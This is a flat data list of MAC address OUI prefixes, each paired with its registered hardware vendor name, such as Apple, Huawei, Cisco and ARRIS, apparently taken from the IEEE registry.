44EAD8 Texas Instruments 8C5F48 Continental Intelligent Transportation Systems LLC A0D86F Private 3890A5 Cisco Systems, Inc 4C1365 Emplus Technologies 2054FA HUAWEI TECHNOLOGIES CO.,LTD 989C57 HUAWEI TECHNOLOGIES CO.,LTD E4A7C5 HUAWEI TECHNOLOGIES CO.,LTD 104400 HUAWEI TECHNOLOGIES CO.,LTD 88DA1A Redpine Signals, Inc. 14CF8D OHSUNG 48D35D Private E446DA Xiaomi Communications Co Ltd 500F80 Cisco Systems, Inc F4F5DB Xiaomi Communications Co Ltd 38A6CE BSkyB Ltd F0AB54 MITSUMI ELECTRIC CO.,LTD. C449BB MITSUMI ELECTRIC CO.,LTD. B430C0 York Instruments Ltd C468D0 VTech Telecommunications Ltd. 48D6D5 Google, Inc. F0BD2E H+S Polatis Ltd 842C80 Sichuan Changhong Electric Ltd. 182D98 Jinwoo Industrial system 0C1C20 Kakao Corp 40498A Synapticon GmbH D80831 Samsung Electronics Co.,Ltd 24F27F Hewlett Packard Enterprise 00B69F Latch A88200 Hisense Electric Co.,Ltd F449EF EMSTONE 2856C1 Harman International 68A682 Shenzhen YOUHUA Technology Co., Ltd 406A8E Hangzhou Puwell OE Tech Ltd. DC5583 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 001F1F Edimax Technology Co. Ltd. 248BE0 SICHUAN TIANYI COMHEART TELECOMCO., LTD ECB5FA Philips Lighting BV 547A52 CTE International srl 649A08 Shenzhen SuperElectron Technology Co.,LTD ACA667 Electronic Systems Protection, Inc. 006048 Dell EMC 7CC95A Dell EMC CC2DE0 Routerboard.com ECFABC Espressif Inc. B0FC36 CyberTAN Technology Inc. 7846C4 DAEHAP HYPER-TECH 58C935 Chiun Mai Communication Systems, Inc 28C13C Hon Hai Precision Ind. Co., Ltd. 0C5203 AGM GROUP LIMITED 3C18A0 Luxshare Precision Industry Company Limited BCF292 PLANTRONICS, INC. 2C54CF LG Electronics (Mobile Communications) 001FE3 LG Electronics (Mobile Communications) 0026E2 LG Electronics (Mobile Communications) 001E75 LG Electronics (Mobile Communications) 6CD68A LG Electronics (Mobile Communications) 2021A5 LG Electronics (Mobile Communications) 0C4885 LG Electronics (Mobile Communications) DC0B34 LG Electronics (Mobile Communications) AC0D1B LG Electronics (Mobile Communications) 60E3AC LG Electronics (Mobile Communications) F895C7 LG Electronics (Mobile Communications) C4438F LG Electronics (Mobile Communications) A816B2 LG Electronics (Mobile Communications) E892A4 LG Electronics (Mobile Communications) 700514 LG Electronics (Mobile Communications) 88C9D0 LG Electronics (Mobile Communications) 2C598A LG Electronics (Mobile Communications) 547DCD Texas Instruments 1CDF52 Texas Instruments 18F0E4 Xiaomi Communications Co Ltd 803BF6 LOOK EASY INTERNATIONAL LIMITED F417B8 AirTies Wireless Networks 5CAD76 Shenzhen TCL New Technology Co., Ltd 4C5262 Fujitsu Technology Solutions GmbH EC8350 Microsoft Corporation 3873EA IEEE Registration Authority 0CCEF6 Guizhou Fortuneship Technology Co., Ltd 549A4C GUANGDONG HOMECARE TECHNOLOGY CO.,LTD. 00A0C5 Zyxel Communications Corporation 04BF6D Zyxel Communications Corporation E8377A Zyxel Communications Corporation 107BEF Zyxel Communications Corporation D07FC4 Ou Wei Technology Co.,Ltd. of Shenzhen City 6CB2AE Cisco Systems, Inc 6C4E86 Third Millennium Systems Ltd. 30C507 ECI Telecom Ltd. 145BE1 nyantec GmbH B8CA04 Holtek Semiconductor Inc. B8C8EB ITEL MOBILE LIMITED 001862 Seagate Technology B45253 Seagate Technology 7047E9 vivo Mobile Communication Co., Ltd. 88D171 BEGHELLI S.P.A 74EACB New H3C Technologies Co., Ltd D8B122 Juniper Networks F045DA Texas Instruments A43E51 ANOV FRANCE D88466 Extreme Networks, Inc. 588D64 Xi'an Clevbee Technology Co.,Ltd 34415D Intel Corporate 8CEC4B Dell Inc. 3C9A77 Technicolor CH USA Inc. 6C2ACB Paxton Access Ltd 002790 Cisco Systems, Inc FCA183 Amazon Technologies Inc. B89F09 Wistron Neweb Corporation 94290C Shenyang wisdom Foundation Technology Development Co., Ltd. 4064A4 THE FURUKAWA ELECTRIC CO., LTD DCA266 Hon Hai Precision Ind. Co.,Ltd. D89C67 Hon Hai Precision Ind. Co.,Ltd. 802BF9 Hon Hai Precision Ind. Co.,Ltd. 4CDD31 Samsung Electronics Co.,Ltd 28BF89 Fiberhome Telecommunication Technologies Co.,LTD C84029 Fiberhome Telecommunication Technologies Co.,LTD CC0677 Fiberhome Telecommunication Technologies Co.,LTD B0E2E5 Fiberhome Telecommunication Technologies Co.,LTD 88947E Fiberhome Telecommunication Technologies Co.,LTD F4573E Fiberhome Telecommunication Technologies Co.,LTD 1C398A Fiberhome Telecommunication Technologies Co.,LTD 1077B0 Fiberhome Telecommunication Technologies Co.,LTD E43022 Hanwha Techwin Security Vietnam B4E62D Espressif Inc. F0B5B7 Disruptive Technologies Research AS 80CE62 Hewlett Packard 801F12 Microchip Technology Inc. 506CBE InnosiliconTechnology Ltd 04C241 Nokia 307BAC New H3C Technologies Co., Ltd 804126 HUAWEI TECHNOLOGIES CO.,LTD 0CC6CC HUAWEI TECHNOLOGIES CO.,LTD 705AAC Samsung Electronics Co.,Ltd FC643A Samsung Electronics Co.,Ltd D4E6B7 Samsung Electronics Co.,Ltd 2802D8 Samsung Electronics Co.,Ltd 6084BD BUFFALO.INC 10F9EB Industria Fueguina de Relojería Electrónica s.a. 347ECA NEXTWILL 5C5AEA FORD 5CAAFD Sonos, Inc. 000E58 Sonos, Inc. 882950 Netmoon Technology Co., Ltd 7CFF4D AVM Audiovisuelles Marketing und Computersysteme GmbH 7470FD Intel Corporate 689861 Beacon Inc 88B362 Nokia Shanghai Bell Co. Ltd.) 1CA0B8 Hon Hai Precision Ind. Co., Ltd. 3C479B Theissen Training Systems, Inc. 8CF773 Nokia C464E3 Texas Instruments F4844C Texas Instruments 10A4B9 Baidu Online Network Technology (Beijing) Co., Ltd 1CB044 ASKEY COMPUTER CORP 900372 Longnan Junya Digital Technology Co. Ltd. 501479 iRobot Corporation 909497 HUAWEI TECHNOLOGIES CO.,LTD EC8914 HUAWEI TECHNOLOGIES CO.,LTD DC729B HUAWEI TECHNOLOGIES CO.,LTD B89436 HUAWEI TECHNOLOGIES CO.,LTD F8DF15 Sunitec Enterprise Co.,Ltd A8DA01 Shenzhen NUOLIJIA Digital Technology Co.,Ltd 002194 Ping Communication A438CC Nintendo Co.,Ltd 946AB0 Arcadyan Corporation 5821E9 TWPI 64CB5D SIA TeleSet 70695A Cisco Systems, Inc A06610 FUJITSU LIMITED 68D482 SHENZHEN GONGJIN ELECTRONICS CO.,LT 301F9A IEEE Registration Authority 907910 Integrated Device Technology (Malaysia) Sdn. Bhd. 00A0D5 Sierra Wireless Inc 6C3838 Marking System Technology Co., Ltd. 24C848 mywerk Portal GmbH 0C2C54 HUAWEI TECHNOLOGIES CO.,LTD 00BE3B HUAWEI TECHNOLOGIES CO.,LTD 7C7668 HUAWEI TECHNOLOGIES CO.,LTD 242E02 HUAWEI TECHNOLOGIES CO.,LTD 2CB8ED SonicWall 9C2EA1 Xiaomi Communications Co Ltd AC35EE FN-LINK TECHNOLOGY LIMITED 007278 Cisco Systems, Inc E44E76 CHAMPIONTECHENTERPRISE (SHENZHEN) INC 000889 Dish Technologies Corp 6CC4D5 HMD Global Oy E8C1B8Nanjing Bangzhong Electronic Commerce Limited B4DE31 Cisco Systems, Inc 70169F EtherCAT Technology Group 649829 Integrated Device Technology (Malaysia) Sdn. Bhd. 081DC4 Thermo Fisher Scientific Messtechnik GmbH 90CC24 Synaptics, Inc CC9916 Integrated Device Technology (Malaysia) Sdn. Bhd. F041C8 IEEE Registration Authority 001386 ABB Inc/Totalflow A45055 BUSWARE.DE 48605F LG Electronics (Mobile Communications) 0015C4 FLOVEL CO., LTD. 3CEAF9 JUBIXCOLTD C0EEB5 Enice Network. DCDE4F Gionee Communication Equipment Co Ltd 60DEF3 HUAWEI TECHNOLOGIES CO.,LTD 58F987 HUAWEI TECHNOLOGIES CO.,LTD 501D93 HUAWEI TECHNOLOGIES CO.,LTD D47226 zte corporation E482CC Jumptronic GmbH 2016B9 Intel Corporate 781D4A zte corporation F0766F Apple, Inc. 40CBC0 Apple, Inc. 4098AD Apple, Inc. 6C4D73 Apple, Inc. C48466 Apple, Inc. B8634D Apple, Inc. 503237 Apple, Inc. D4619D Apple, Inc. B0481A Apple, Inc. 989E63 Apple, Inc. DCA904 Apple, Inc. 48A195 Apple, Inc. 6CAB31 Apple, Inc. 7C5049 Apple, Inc. E42B34 Apple, Inc. 1C36BB Apple, Inc. 3C2EFF Apple, Inc. 6C96CF Apple, Inc. 3035AD Apple, Inc. A8BE27 Apple, Inc. 70A2B3 Apple, Inc. 4C57CA Apple, Inc. 68FB7E Apple, Inc. 90C1C6 Apple, Inc. A4F1E8 Apple, Inc. AC61EA Apple, Inc. 38B54D Apple, Inc. 00CDFE Apple, Inc. 18AF61 Apple, Inc. CC4463 Apple, Inc. 34159E Apple, Inc. 58B035 Apple, Inc. F0B479 Apple, Inc. 109ADD Apple, Inc. 40A6D9 Apple, Inc. 7CF05F Apple, Inc. A4B197 Apple, Inc. 0C74C2 Apple, Inc. 403004 Apple, Inc. 4860BC Apple, Inc. D02B20 Apple, Inc. 9CE33F Apple, Inc. F0989D Apple, Inc. ACE4B5 Apple, Inc. 6C72E7 Apple, Inc. 60FEC5 Apple, Inc. 00A040 Apple, Inc. 000D93 Apple, Inc. ACBC32 Apple, Inc. 30D9D9 Apple, Inc. 6030D4 Apple, Inc. 94BF2D Apple, Inc. C49880 Apple, Inc. E0338E Apple, Inc. 68FEF7 Apple, Inc. BCE143 Apple, Inc. 645AED Apple, Inc. C0B658 Apple, Inc. 881908 Apple, Inc. FC2A9C Apple, Inc. 44D884 Apple, Inc. EC852F Apple, Inc. 286ABA Apple, Inc. 705681 Apple, Inc. 7CD1C3 Apple, Inc. F0DCE2 Apple, Inc. B065BD Apple, Inc. A82066 Apple, Inc. BC6778 Apple, Inc. 68967B Apple, Inc. 848506 Apple, Inc. 54AE27 Apple, Inc. 6476BA Apple, Inc. 84B153 Apple, Inc. 783A84 Apple, Inc. 2CBE08 Apple, Inc. 24E314 Apple, Inc. 68D93C Apple, Inc. 2CF0EE Apple, Inc. 84788B Apple, Inc. 6C94F8 Apple, Inc. 703EAC Apple, Inc. B4F0AB Apple, Inc. 10DDB1 Apple, Inc. 04F7E4 Apple, Inc. 34C059 Apple, Inc. F0D1A9 Apple, Inc. BC3BAF Apple, Inc. 786C1C Apple, Inc. 041552 Apple, Inc. 38484C Apple, Inc. 701124 Apple, Inc. C86F1D Apple, Inc. 685B35 Apple, Inc. 380F4A Apple, Inc. 3010E4 Apple, Inc. 04DB56 Apple, Inc. 881FA1 Apple, Inc. 04E536 Apple, Inc. F82793 Apple, Inc. ACFDEC Apple, Inc. D0E140 Apple, Inc. 8C7C92 Apple, Inc. 7831C1 Apple, Inc. F437B7 Apple, Inc. 50EAD6 Apple, Inc. 28E02C Apple, Inc. 60C547 Apple, Inc. 7C11BE Apple, Inc. 003EE1 Apple, Inc. C01ADA Apple, Inc. 34363B Apple, Inc. C81EE7 Apple, Inc. 9CFC01 Apple, Inc. CCC760 Apple, Inc. 087402 Apple, Inc. 285AEB Apple, Inc. 28F076 Apple, Inc. 3C36E4 ARRIS Group, Inc. 0000C5 ARRIS Group, Inc. D039B3 ARRIS Group, Inc. 8C7F3B ARRIS Group, Inc. 946269 ARRIS Group, Inc. D40598 ARRIS Group, Inc. 78719C ARRIS Group, Inc. 9CFEA1 Fiberhome Telecommunication Technologies Co.,LTD 48D343 ARRIS Group, Inc. D40AA9 ARRIS Group, Inc. 384C90 ARRIS Group, Inc. 00ACE0 ARRIS Group, Inc. 70700D Apple, Inc. 9CF48E Apple, Inc. FCD848 Apple, Inc. E45740 ARRIS Group, Inc. E02202 ARRIS Group, Inc. 001CB3 Apple, Inc. 64B9E8 Apple, Inc. 2C1DB8 ARRIS Group, Inc. 949D57 Panasonic do Brasil Limitada 005089 SAFETY MANAGEMENT SYSTEMS 48DD9D ITEL MOBILE LIMITED E48F65 Yelatma Instrument Making Enterprise, JSC 9C2F73 Universal Tiancheng Technology (Beijing) Co., Ltd. 54B203 PEGATRON CORPORATION E4EA83 SHENZHEN GONGJIN ELECTRONICS CO.,LT D08A91 Technicolor CH USA Inc. 0015D0 ARRIS Group, Inc. E86D52 ARRIS Group, Inc. 3C438E ARRIS Group, Inc. 90B134 ARRIS Group, Inc. 20E564 ARRIS Group, Inc. 40B7F3 ARRIS Group, Inc. 94CCB9 ARRIS Group, Inc. 0050E3 ARRIS Group, Inc. EC7097 ARRIS Group, Inc. C0A00D ARRIS Group, Inc. 3C0461 ARRIS Group, Inc. 88964E ARRIS Group, Inc. F8F532 ARRIS Group, Inc. B083D6 ARRIS Group, Inc. 44AAF5 ARRIS Group, Inc. 7085C6 ARRIS Group, Inc. D0E54D ARRIS Group, Inc. B4F2E8 ARRIS Group, Inc. FC8E7E ARRIS Group, Inc. 005094 ARRIS Group, Inc. E0B70A ARRIS Group, Inc. C83FB4 ARRIS Group, Inc. 207355 ARRIS Group, Inc. 900DCB ARRIS Group, Inc. 14CFE2 ARRIS Group, Inc. 903EAB ARRIS Group, Inc. 002143 ARRIS Group, Inc. 0023EE ARRIS Group, Inc. 64ED57 ARRIS Group, Inc. 0023A3 ARRIS Group, Inc. F87B7A ARRIS Group, Inc. 0025F1 ARRIS Group, Inc. 001A66 ARRIS Group, Inc. 0018C0 ARRIS Group, Inc. 001E46 ARRIS Group, Inc. 001ADE ARRIS Group, Inc. 0023AF ARRIS Group, Inc. CCA462 ARRIS Group, Inc. 001DCD ARRIS Group, Inc. 001DD4 ARRIS Group, Inc. 001DCE ARRIS Group, Inc. 00080E ARRIS Group, Inc. 00159A ARRIS Group, Inc. 00192C ARRIS Group, Inc. 5856E8 ARRIS Group, Inc. 5050CE Hangzhou Dianyixia Communication Technology Co. Ltd. 50A009 Xiaomi Communications Co Ltd 2C28B7 Hangzhou Ruiying technology co., LTD 9CE82B vivo Mobile Communication Co., Ltd. 002218 AKAMAI TECHNOLOGIES INC 544810 Dell Inc. 000413 snom technology GmbH 8CE748 Private C0D2F3 Hui Zhou Gaoshengda Technology Co.,LTD C42456 Palo Alto Networks B88303 Hewlett Packard Enterprise E4CA12 zte corporation B4B686 Hewlett Packard C8B1EE Qorvo 482AE3 Wistron InfoComm(Kunshan)Co.,Ltd. B0EB57 HUAWEI TECHNOLOGIES CO.,LTD 8C15C7 HUAWEI TECHNOLOGIES CO.,LTD A4BE2B HUAWEI TECHNOLOGIES CO.,LTD 60FA9D HUAWEI TECHNOLOGIES CO.,LTD DC9914 HUAWEI TECHNOLOGIES CO.,LTD 2C97B1 HUAWEI TECHNOLOGIES CO.,LTD 7089CC China Mobile Group Device Co.,Ltd. 7C96D2 Fihonest communication co.,Ltd 00EB2D Sony Mobile Communications AB 303926 Sony Mobile Communications AB 205476 Sony Mobile Communications AB B8F934 Sony Mobile Communications AB 58170C Sony Mobile Communications AB 6C23B9 Sony Mobile Communications AB 2421AB Sony Mobile Communications AB 001813 Sony Mobile Communications AB 001E45 Sony Mobile Communications AB 00219E Sony Mobile Communications AB A0E453 Sony Mobile Communications AB BC6E64 Sony Mobile Communications AB 1C7B21 Sony Mobile Communications AB 0CB6D2 D-Link International B8B7F1 Wistron Neweb Corporation 44EFCF UGENE SOLUTION inc. A45385 WEIFANG GOERTEK ELECTRONICS CO.,LTD ACFD93 WEIFANG GOERTEK ELECTRONICS CO.,LTD D42122 Sercomm Corporation. 00138A Qingdao GoerTek Technology Co., Ltd. 841766 WEIFANG GOERTEK ELECTRONICS CO.,LTD 2C4D79 WEIFANG GOERTEK ELECTRONICS CO.,LTD A8D498 Avira Operations GmbH & Co. KG 98A404 Ericsson AB 00CC3F Universal Electronics, Inc. 108EE0 Samsung Electronics Co.,Ltd 68E7C2 Samsung Electronics Co.,Ltd 3C576C Samsung Electronics Co.,Ltd 0CE0DC Samsung Electronics Co.,Ltd 6C5940 MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 1C60DE MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. F4EE14 MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 20A60C Xiaomi Communications Co Ltd 5061BF Cisco Systems, Inc 04AB18 ELECOM CO.,LTD. 4C5E0C Routerboard.com 0026BD JTEC Card & Communication Co., Ltd 00151E ETHERNET Powerlink Standarization Group (EPSG) 641C67 DIGIBRAS INDUSTRIA DO BRASILS/A 000284 UK Grid Solutions Limited 283F69 Sony Mobile Communications AB E89E0C Private 544E45 Private 40C3C6 SnapRoute 0C6F9C Shaw Communications Inc. 1801E3 Bittium Wireless Ltd C0AC54 Sagemcom Broadband SAS 40F201 Sagemcom Broadband SAS C891F9 Sagemcom Broadband SAS 4CFF12 Fuze Entertainment Co., ltd 0059AC KPN. B.V. AC9A22 NXP Semiconductors 006037 NXP Semiconductors 546009 Google, Inc. A47733 Google, Inc. 94EB2C Google, Inc. 28BC56 EMAC, Inc. 287CDB HefeiToycloud Technology Co.,ltd D0B33F Shenzhen TINNO Mobile Technology Corp. 00738D Shenzhen TINNO Mobile Technology Corp. A8CA7B HUAWEI TECHNOLOGIES CO.,LTD ACCF85 HUAWEI TECHNOLOGIES CO.,LTD 2435CC Zhongshan Scinan Internet of Things Co.,Ltd. 2C27D7 Hewlett Packard 000F3D D-Link Corporation 001195 D-Link Corporation 0015E9 D-Link Corporation 0CFD37 SUSE Linux GmbH 2CFF65 Oki Electric Industry Co., Ltd. 001CF0 D-Link Corporation 00265A D-Link Corporation ACF1DF D-Link International FC7516 D-Link International 7C18CD E-TRON Co.,Ltd. 3897D6 Hangzhou H3C Technologies Co., Limited C8478C Beken Corporation 8896B6 Global Fire Equipment S.A. 188796 HTC Corporation AC2A0C CSR ZHUZHOU INSTITUTE CO.,LTD. F4CA24 FreeBit Co., Ltd. 000A57 Hewlett Packard 643150 Hewlett Packard 002376 HTC Corporation 0007E9 Intel Corporation B46D83 Intel Corporate E4FAFD Intel Corporate DC5360 Intel Corporate 780CB8 Intel Corporate 484520 Intel Corporate 004026 BUFFALO.INC 0002A5 Hewlett Packard A02BB8 Hewlett Packard 6CC217 Hewlett Packard 3863BB Hewlett Packard CC3E5F Hewlett Packard 7446A0 Hewlett Packard 443192 Hewlett Packard FC15B4 Hewlett Packard EC9A74 Hewlett Packard 80C16E Hewlett Packard D07E28 Hewlett Packard 7403BD BUFFALO.INC 101F74 Hewlett Packard 001A4B Hewlett Packard 001F29 Hewlett Packard 00215A Hewlett Packard 000F61 Hewlett Packard 001185 Hewlett Packard 001279 Hewlett Packard 001708 Hewlett Packard 2832C5 HUMAX Co., Ltd. EC4D47 HUAWEI TECHNOLOGIES CO.,LTD 88CF98 HUAWEI TECHNOLOGIES CO.,LTD 6CE3B6 Nera Telecommunications Ltd. 942CB3 HUMAX Co., Ltd. C87B5B zte corporation 98F537 zte corporation 001E73 zte corporation 0019C6 zte corporation 0015EB zte corporation F0EBD0 Shanghai Feixun Communication Co.,Ltd. D8490B HUAWEI TECHNOLOGIES CO.,LTD 888603 HUAWEI TECHNOLOGIES CO.,LTD F8E811 HUAWEI TECHNOLOGIES CO.,LTD E09796 HUAWEI TECHNOLOGIES CO.,LTD CCCC81 HUAWEI TECHNOLOGIES CO.,LTD 101B54 HUAWEI TECHNOLOGIES CO.,LTD 7054F5 HUAWEI TECHNOLOGIES CO.,LTD D07AB5 HUAWEI TECHNOLOGIES CO.,LTD C40528 HUAWEI TECHNOLOGIES CO.,LTD 3CDFBD HUAWEI TECHNOLOGIES CO.,LTD 14B968 HUAWEI TECHNOLOGIES CO.,LTD 80717A HUAWEI TECHNOLOGIES CO.,LTD F49FF3 HUAWEI TECHNOLOGIES CO.,LTD 784B87 Murata Manufacturing Co., Ltd. 28A183 ALPS ELECTRIC CO.,LTD. 5CF8A1 Murata Manufacturing Co., Ltd. 6021C0 Murata Manufacturing Co., Ltd. 84DBAC HUAWEI TECHNOLOGIES CO.,LTD C07009 HUAWEI TECHNOLOGIES CO.,LTD E0191D HUAWEI TECHNOLOGIES CO.,LTD B8BC1B HUAWEI TECHNOLOGIES CO.,LTD 241FA0 HUAWEI TECHNOLOGIES CO.,LTD 50A72B HUAWEI TECHNOLOGIES CO.,LTD C85195 HUAWEI TECHNOLOGIES CO.,LTD 00F81C HUAWEI TECHNOLOGIES CO.,LTD F4559C HUAWEI TECHNOLOGIES CO.,LTD 283CE4 HUAWEI TECHNOLOGIES CO.,LTD 001D0F TP-LINK TECHNOLOGIES CO.,LTD. 5C63BF TP-LINK TECHNOLOGIES CO.,LTD. B0487A TP-LINK TECHNOLOGIES CO.,LTD. 388345 TP-LINK TECHNOLOGIES CO.,LTD. 14E6E4 TP-LINK TECHNOLOGIES CO.,LTD. 647002 TP-LINK TECHNOLOGIES CO.,LTD. 6466B3 TP-LINK TECHNOLOGIES CO.,LTD. 6CE873 TP-LINK TECHNOLOGIES CO.,LTD. 08E84F HUAWEI TECHNOLOGIES CO.,LTD 04BD70 HUAWEI TECHNOLOGIES CO.,LTD 18C58A HUAWEI TECHNOLOGIES CO.,LTD 04C06F HUAWEI TECHNOLOGIES CO.,LTD 5C4CA9 HUAWEI TECHNOLOGIES CO.,LTD 4C5499 HUAWEI TECHNOLOGIES CO.,LTD 00259E HUAWEI TECHNOLOGIES CO.,LTD 001882 HUAWEI TECHNOLOGIES CO.,LTD 00906F Cisco Systems, Inc 0090A6 Cisco Systems, Inc 0090AB Cisco Systems, Inc 7426AC Cisco Systems, Inc B000B4 Cisco Systems, Inc 2834A2 Cisco Systems, Inc 641225 Cisco Systems, Inc 544A00 Cisco Systems, Inc 5067AE Cisco Systems, Inc BC16F5 Cisco Systems, Inc 6899CD Cisco Systems, Inc F44E05 Cisco Systems, Inc 0CF5A4 Cisco Systems, Inc 5CFC66 Cisco Systems, Inc D0A5A6 Cisco Systems, Inc 3C5EC3 Cisco Systems, Inc 64F69D Cisco Systems, Inc 74A2E6 Cisco Systems, Inc 204C9E Cisco Systems, Inc 00112F ASUSTek COMPUTER INC. 0011D8 ASUSTek COMPUTER INC. 001731 ASUSTek COMPUTER INC. 0018F3 ASUSTek COMPUTER INC. 485B39 ASUSTek COMPUTER INC. F46D04 ASUSTek COMPUTER INC. 3085A9 ASUSTek COMPUTER INC. 00900C Cisco Systems, Inc 001079 Cisco Systems, Inc 00102F Cisco Systems, Inc 000E08 Cisco-Linksys, LLC 00602F Cisco Systems, Inc 006070 Cisco Systems, Inc 006083 Cisco Systems, Inc 00067C Cisco Systems, Inc C8D719 Cisco-Linksys, LLC 54781A Cisco Systems, Inc 58971E Cisco Systems, Inc CCD539 Cisco Systems, Inc 20BBC0 Cisco Systems, Inc 4C4E35 Cisco Systems, Inc 7CAD74 Cisco Systems, Inc 10F311 Cisco Systems, Inc 08CC68 Cisco Systems, Inc D0C789 Cisco Systems, Inc F84F57 Cisco Systems, Inc 34DBFD Cisco Systems, Inc 5CA48A Cisco Systems, Inc AC7A4D ALPS ELECTRIC CO.,LTD. FC62B9 ALPS ELECTRIC CO.,LTD. 0010A6 Cisco Systems, Inc E86549 Cisco Systems, Inc 84B517 Cisco Systems, Inc 046273 Cisco Systems, Inc 9C57AD Cisco Systems, Inc 00223A Cisco SPVTG 001839 Cisco-Linksys, LLC 001EE5 Cisco-Linksys, LLC 38C85C Cisco SPVTG F45FD4 Cisco SPVTG 002306 ALPS ELECTRIC CO.,LTD. 001E3D ALPS ELECTRIC CO.,LTD. 0019C1 ALPS ELECTRIC CO.,LTD. 847D50 Holley Metering Limited 6C4A39 BITA 04214C Insight Energy Ventures LLC 4C8ECC SILKAN SA 98F428 zte corporation 7C5A67 JNC Systems, Inc. C4BBEA Pakedge Device and Software Inc 84100D Motorola Mobility LLC, a Lenovo Company D88B4C KingTing Tech. 6C9354 Yaojin Technology (Shenzhen) Co., LTD. 4054E4 Wearsafe Labs Inc 8CE2DA Circle Media Inc 74D7CA Panasonic Corporation Automotive 1CCDE5 Shanghai Wind Technologies Co.,Ltd D494E8 HUAWEI TECHNOLOGIES CO.,LTD B078F0 Beijing HuaqinWorld Technology Co.,Ltd. 3029BE Shanghai MRDcom Co.,Ltd 7011AE Music Life LTD ECB870 Beijing Heweinet Technology Co.,Ltd. 3095E3 SHANGHAI SIMCOM LIMITED 54BE53 zte corporation A01E0B MINIX Technology Limited D48304 SHENZHEN FAST TECHNOLOGIES CO.,LTD 385F66 Cisco SPVTG 58FC73 Arria Live Media, Inc. 2C1BC8 Hunan Topview Network System CO.,LTD D888CE RF Technology Pty Ltd D4F4BE Palo Alto Networks B88687 Liteon Technology Corporation 68F956 Objetivos y Servicio de Valor Añadido F4E926 Tianjin Zanpu Technology Inc. 04C23E HTC Corporation 2CFCE4 CTEK Sweden AB C0B713 Beijing Xiaoyuer Technology Co. Ltd. DCA3AC RBcloudtech 44656A Mega Video Electronic(HK) Industry Co., Ltd ECA9FA GUANGDONG GENIUS TECHNOLOGY CO.,LTD. 300C23 zte corporation 445F8C Intercel Group Limited A48D3B Vizio, Inc 0C756C Anaren Microwave, Inc. 5C5188 Motorola Mobility LLC, a Lenovo Company 689AB7 Atelier Vision Corporation 640DE6 Petra Systems 283713 Shenzhen 3Nod Digital Technology Co., Ltd. 7CAB25 MESMO TECHNOLOGY INC. 74042B Lenovo Mobile Communication (Wuhan) Company Limited 4455B1 HUAWEI TECHNOLOGIES CO.,LTD A45602 fenglian Technology Co.,Ltd. D06A1F BSE CO.,LTD. A88038 ShenZhen MovingComm Technology Co., Limited 805067 W & D TECHNOLOGY CORPORATION 402814 RFI Engineering 102C83 XIMEA D468BA Shenzhen Sundray Technologies Company Limited A47B85 ULTIMEDIA Co Ltd, CC37AB Edgecore Networks Corportation F80D60 CANON INC. E02CB2 Lenovo Mobile Communication (Wuhan) Company Limited DC15DB Ge Ruili Intelligent Technology ( Beijing ) Co., Ltd. 30F335 HUAWEI TECHNOLOGIES CO.,LTD E89120 Motorola Mobility LLC, a Lenovo Company 546172 ZODIAC AEROSPACE SAS 54CD10 Panasonic Mobile Communications Co.,Ltd. A4A1E4 Innotube, Inc. 706879 Saijo Denki International Co., Ltd. 343D98 JinQianMao Technology Co.,Ltd. 5804CB Tianjin Huisun Technology Co.,Ltd. 1CB72C ASUSTek COMPUTER INC. 287610 IgniteNet 68A378 FREEBOX SAS 746A3A Aperi Corporation 1844E6 zte corporation A8D409 USA 111 Inc 3089D3 HONGKONG UCLOUDLINK NETWORK TECHNOLOGY LIMITED 4CB76D Novi Security 906CAC Fortinet, Inc. 00323A so-logic 64DB81 Syszone Co., Ltd. C4BAA3 Beijing Winicssec Technologies Co., Ltd. 20635F Abeeway E00370 ShenZhen Continental Wireless Technology Co., Ltd. 709C8F Nero AG 807459 K's Co.,Ltd. CC9635 LVS Co.,Ltd. 700136 FATEK Automation Corporation E03560 Challenger Supply Holdings, LLC 0CB5DE Alcatel Lucent E4CE70 Health & Life co., Ltd. EC5A86 Yulong Computer Telecommunication Scientific (Shenzhen) Co.,Ltd F87AEF Rosonix Technology, Inc. 18B169 Sonicwall 1CC72D Shenzhen Huapu Digital CO.,Ltd 38D82F zte corporation 2CA2B4 Fortify Technologies, LLC D87495 zte corporation 8C873B Leica Camera AG 28E476 Pi-Coral 9C685B Octonion SA ACABBF AthenTek Inc. 5C41E7 Wiatec International Ltd. DC0914 Talk-A-Phone Co. 142971 NEMOA ELECTRONICS (HK) CO. LTD B47356 Hangzhou Treebear Networking Co., Ltd. D88D5C Elentec 50ADD5 Dynalec Corporation 28D98A Hangzhou Konke Technology Co.,Ltd. BC4DFB Hitron Technologies. Inc 40EACE FOUNDER BROADBAND NETWORK SERVICE CO.,LTD 10C67E SHENZHEN JUCHIN TECHNOLOGY CO., LTD 3C4937 ASSMANN Electronic GmbH 904506 Tokyo Boeki Medisys Inc. 80A85D Osterhout Design Group 9C6C15 Microsoft Corporation EC74BA Hirschmann Automation and Control GmbH 683C7D Magic Intelligence Technology Limited 60128B CANON INC. ECBAFE GIROPTIC E8447E Bitdefender SRL 84C3E8 Vaillant GmbH B88EC6 Stateless Networks 146B72 Shenzhen Fortune Ship Technology Co., Ltd. 40A5EF Shenzhen Four Seas Global Link Network Technology Co., Ltd. 7C7A53 Phytrex Technology Corp. 4886E8 Microsoft Corporation 88E161 Art Beijing Science and Technology Development Co., Ltd. B4A9FE GHIA Technology (Shenzhen) LTD 700FC7 SHENZHEN IKINLOOP TECHNOLOGY CO.,LTD. EC8009 NovaSparks 64002D Powerlinq Co., LTD 101218 Korins Inc. B04515 mira fitness,LLC. A49D49 Ketra, Inc. C09879 Acer Inc. 1C9ECB Beijing Nari Smartchip Microelectronics Company Limited D48DD9 Meld Technology, Inc 2C3796 CYBO CO.,LTD. 9470D2 WINFIRM TECHNOLOGY 2C2997 Microsoft Corporation 4CE2F1 sclak srl 344DEA zte corporation 908C09 Total Phase 1C7E51 3bumen.com 380E7B V.P.S. Thai Co., Ltd 38F33F TATSUNO CORPORATION 28A5EE Shenzhen SDGI CATV Co., Ltd 94CE31 CTS Limited 4CBB58 Chicony Electronics Co., Ltd. C40006 Lipi Data Systems Ltd. 789CE7 Shenzhen Aikede Technology Co., Ltd 5C2ED2 ABC(XiSheng) Electronics Co.,Ltd D8F710 Libre Wireless Technologies Inc. 68F728 LCFC(HeFei) Electronics Technology co., ltd DCEC06 Heimi Network Technology Co., Ltd. 8870EF SC Professional Trading Co., Ltd. 102F6B Microsoft Corporation ACB74F METEL s.r.o. CCF538 3isysnetworks 04DEDB Rockport Networks Inc 68F06D ALONG 